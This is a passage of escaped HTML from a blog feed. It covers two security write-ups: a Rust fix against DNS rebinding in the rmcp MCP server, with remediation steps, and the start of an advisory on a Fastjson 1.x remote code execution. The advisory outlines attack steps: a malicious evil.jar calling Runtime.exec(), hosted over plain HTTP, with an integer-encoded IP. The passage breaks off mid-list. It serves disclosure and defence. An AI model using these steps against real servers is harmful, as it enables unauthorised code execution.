    &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;normalize_authority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;NormalizedAuthority&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NormalizedAuthority&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;normalize_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;DNS names are case-insensitive (&lt;code&gt;Localhost&lt;/code&gt; and &lt;code&gt;localhost&lt;/code&gt; are the same host), and IPv6 literals appear bracketed in a URI (&lt;code&gt;[::1]&lt;/code&gt;). Without normalizing both, an attacker could try bypassing the allowlist comparison with variants like &lt;code&gt;Host: LOCALHOST&lt;/code&gt; or &lt;code&gt;Host: [::1]&lt;/code&gt;. &lt;code&gt;normalize_host&lt;/code&gt; handles both in one place so every later comparison can be a plain string &lt;code&gt;==&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  5) Allowlist matching — &lt;code&gt;host_is_allowed&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;parse_allowed_authority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NormalizedAuthority&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;allowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="nf"&gt;.trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="nf"&gt;.is_empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authority&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;http&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;Authority&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;normalize_authority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authority&lt;/span&gt;&lt;span class="nf"&gt;.host&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;authority&lt;/span&gt;&lt;span class="nf"&gt;.port_u16&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;normalize_authority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;host_is_allowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;NormalizedAuthority&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="nf"&gt;.is_empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Empty allowlist = allow everything (not recommended).&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;
        &lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.filter_map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nf"&gt;parse_allowed_authority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="nf"&gt;.any&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="py"&gt;.host&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="py"&gt;.host&lt;/span&gt;
                &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="n"&gt;allowed&lt;/span&gt;&lt;span class="py"&gt;.port&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="py"&gt;.port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                    &lt;span class="nb"&gt;None&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each allowlist entry (&lt;code&gt;"example.com"&lt;/code&gt;, &lt;code&gt;"example.com:8080"&lt;/code&gt;, etc.) is parsed into a host/port pair before comparison. An entry with no port (&lt;code&gt;"localhost"&lt;/code&gt;) matches that host on any port; an entry with a port (&lt;code&gt;"example.com:8080"&lt;/code&gt;) only matches that exact port. This lets a developer keep &lt;code&gt;localhost&lt;/code&gt; wide open (any port) during development while locking a production deployment down to &lt;code&gt;example.com:443&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  6) The gate itself — &lt;code&gt;validate_dns_rebinding_headers&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;validate_dns_rebinding_headers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nn"&gt;http&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HeaderMap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;StreamableHttpServerConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HttpResult&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_host_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;host_is_allowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="py"&gt;.allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;warn!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;"rejected request with disallowed Host header (possible DNS rebinding attempt)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;forbidden_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Forbidden: Host header is not allowed"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;validate_origin_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single function is the fix. It parses &lt;code&gt;Host&lt;/code&gt;, and if it isn't on the allowlist it returns &lt;code&gt;403 Forbidden&lt;/code&gt; immediately, logging a &lt;code&gt;tracing::warn!&lt;/code&gt; that flags the possibility of a DNS rebinding attempt. In the diagram above, step 5's request arriving with &lt;code&gt;Host: attacker.example&lt;/code&gt; is stopped right here — &lt;code&gt;attacker.example&lt;/code&gt; isn't in the default allowlist (&lt;code&gt;localhost&lt;/code&gt;, &lt;code&gt;127.0.0.1&lt;/code&gt;, &lt;code&gt;::1&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  7) &lt;code&gt;Origin&lt;/code&gt; validation — defense-in-depth
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;validate_origin_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HeaderMap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;StreamableHttpServerConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HttpResult&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="py"&gt;.validate_empty_origin_allowlist&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="py"&gt;.allowed_origins&lt;/span&gt;&lt;span class="nf"&gt;.is_empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;origin_header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="nf"&gt;.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;http&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;header&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ORIGIN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(());&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;origin_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;origin_header&lt;/span&gt;
        &lt;span class="nf"&gt;.to_str&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.map_err&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nf"&gt;forbidden_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Forbidden: Invalid Origin header encoding"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_origin_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;origin_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;.ok_or_else&lt;/span&gt;&lt;span class="p"&gt;(||&lt;/span&gt; &lt;span class="nf"&gt;forbidden_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Forbidden: Invalid Origin header"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;origin_is_allowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="py"&gt;.allowed_origins&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;warn!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"rejected request with disallowed Origin header"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;forbidden_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Forbidden: Origin header is not allowed"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the advisory states explicitly, the root cause here is purely the missing &lt;code&gt;Host&lt;/code&gt; check — &lt;code&gt;Origin&lt;/code&gt; validation isn't required to stop this specific attack, since a browser can't forge the &lt;code&gt;Host&lt;/code&gt; header it sends to the rebound target; the &lt;code&gt;Host&lt;/code&gt; allowlist alone is sufficient. &lt;code&gt;Origin&lt;/code&gt; checking was added anyway as defense-in-depth: by default, an empty &lt;code&gt;allowed_origins&lt;/code&gt; list skips validation entirely (preserving backward compatibility), while calling &lt;code&gt;enforce_origin_validation()&lt;/code&gt; switches to a strict mode that rejects any request carrying an &lt;code&gt;Origin&lt;/code&gt; header, even with an empty allowlist.&lt;/p&gt;

&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Upgrade to rmcp 1.4.0 or later.&lt;/strong&gt; The default configuration alone already blocks any request whose &lt;code&gt;Host&lt;/code&gt; isn't a loopback address.&lt;/li&gt;
&lt;li&gt;If you're deploying an MCP server under a public domain, register it explicitly: &lt;code&gt;StreamableHttpServerConfig::default().with_allowed_hosts(["mcp.example.com"])&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If upgrading isn't immediately possible, put a reverse proxy (nginx, Caddy, etc.) in front that rejects requests with an unexpected &lt;code&gt;Host&lt;/code&gt; header, and don't bind the MCP server directly to &lt;code&gt;0.0.0.0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Avoid &lt;code&gt;disable_allowed_hosts()&lt;/code&gt; — it reverts you to the pre-patch, unprotected state — unless an upstream proxy is already validating &lt;code&gt;Host&lt;/code&gt; on your behalf.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>claude</category>
      <category>python</category>
      <category>ubuntu</category>
    </item>
    <item>
      <title>CVE-2026-16723: Pre-Auth RCE in Fastjson 1.x via the @JSONType Trust Branch</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 16 Sep 2026 22:11:34 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-16723-pre-auth-rce-in-fastjson-1x-via-the-jsontype-trust-branch-10bf</link>
      <guid>https://dev.to/guidance_white/cve-2026-16723-pre-auth-rce-in-fastjson-1x-via-the-jsontype-trust-branch-10bf</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsnqqj69eej4v0sh6moo7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsnqqj69eej4v0sh6moo7.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2026-16723&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fastjson 1.2.68 – 1.2.83 (every 1.x release still receiving use)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Preconditions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Spring Boot executable fat-JAR, &lt;code&gt;safeMode&lt;/code&gt; disabled (default), &lt;code&gt;AutoType&lt;/code&gt; disabled (default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (pre-authentication)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.0 (9.8 under some scoring authorities)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None — Alibaba has declared Fastjson 1.x EOL and points users to Fastjson2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;What makes this one worth a deep dive: it fires &lt;strong&gt;even with AutoType disabled and with zero known gadget classes&lt;/strong&gt; (no &lt;code&gt;JdbcRowSetImpl&lt;/code&gt;, no &lt;code&gt;FileSystemXmlApplicationContext&lt;/code&gt;, nothing on any blacklist). The attacker simply writes a brand-new class of their own, hosts it remotely, and abuses the exact mechanism Fastjson uses to check whether that class is "safe."&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The attack chain, end to end
&lt;/h2&gt;

&lt;p&gt;Six steps, every one of them deterministic. No timing race, no memory corruption, nothing probabilistic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffxmtxm76578wc4j39275.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffxmtxm76578wc4j39275.png" alt=" " width="800" height="521"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Build &lt;code&gt;evil.jar&lt;/code&gt;&lt;/strong&gt; — a trivial class annotated with &lt;code&gt;@JSONType&lt;/code&gt;, with a &lt;code&gt;static { }&lt;/code&gt; block that calls &lt;code&gt;Runtime.exec()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Host it over plain HTTP&lt;/strong&gt; — &lt;code&gt;python3 -m http.server&lt;/code&gt; is enough. No TLS required.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encode the attacker's IP as a 32-bit integer&lt;/strong&gt; — &lt;code&gt;192.168.1.100&lt;/code&gt; becomes &lt;code&gt;3232235876&lt;/code&gt;. Section 3 explains why.&lt;/li&gt;
&lt;li&gt;
